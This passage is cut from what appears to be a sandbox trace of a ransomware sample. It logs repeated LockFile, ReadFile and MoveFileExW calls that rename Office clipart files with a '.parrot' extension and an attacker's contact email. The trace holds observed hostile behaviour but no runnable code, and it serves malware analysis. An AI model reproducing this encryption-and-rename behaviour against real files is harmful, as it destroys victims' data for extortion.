office\\clipart\\pub60cor\\j0153091.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0137.806] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.806] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.806] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.807] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.807] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x22b0, lpOverlapped=0x0) returned 1 [0137.808] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.809] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.809] CloseHandle (hObject=0x288) returned 1 [0137.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0137.826] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf90, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.826] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.826] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.828] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.829] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe78, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe78, lpOverlapped=0x0) returned 1 [0137.829] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.829] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.829] CloseHandle (hObject=0x288) returned 1 [0137.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.831] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.831] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.831] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0137.833] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcd8, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.833] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.833] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.835] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.835] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbc0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbc0, lpOverlapped=0x0) returned 1 [0137.835] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.835] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcd8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.835] CloseHandle (hObject=0x288) returned 1 [0137.835] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0137.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0137.840] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f98, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.840] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.840] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.912] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.917] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4e80, lpOverlapped=0x0) returned 1 [0137.922] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.923] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.925] CloseHandle (hObject=0x288) returned 1 [0137.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0137.929] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9024, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.929] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.929] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.931] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.931] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8f0c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8f0c, lpOverlapped=0x0) returned 1 [0137.933] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.934] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9024, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.934] CloseHandle (hObject=0x288) returned 1 [0137.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0137.938] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7968, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.938] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.938] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.939] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.940] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7850, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7850, lpOverlapped=0x0) returned 1 [0137.942] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.944] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7968, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.944] CloseHandle (hObject=0x288) returned 1 [0137.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0137.949] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9770, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.949] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.949] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.951] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.951] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9658, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9658, lpOverlapped=0x0) returned 1 [0137.954] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.954] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9770, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.954] CloseHandle (hObject=0x288) returned 1 [0137.954] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0137.958] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d70, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.958] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.958] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.164] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.165] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c58, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c58, lpOverlapped=0x0) returned 1 [0138.166] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.168] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.168] CloseHandle (hObject=0x288) returned 1 [0138.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0138.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0138.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0138.172] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4350, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.172] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.172] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.176] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.176] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4238, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4238, lpOverlapped=0x0) returned 1 [0138.177] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.178] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4350, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.178] CloseHandle (hObject=0x288) returned 1 [0138.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0138.181] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x457c, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.181] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.181] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.183] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.183] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4464, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4464, lpOverlapped=0x0) returned 1 [0138.184] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.184] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x457c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.184] CloseHandle (hObject=0x288) returned 1 [0138.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.188] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x86e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.188] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.188] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.190] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.190] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x85d0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x85d0, lpOverlapped=0x0) returned 1 [0138.192] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.192] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x86e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.192] CloseHandle (hObject=0x288) returned 1 [0138.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.195] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.195] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.196] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.197] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.197] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31d0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31d0, lpOverlapped=0x0) returned 1 [0138.198] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.200] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.200] CloseHandle (hObject=0x288) returned 1 [0138.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.203] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e20, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.203] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.203] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.329] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.330] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, 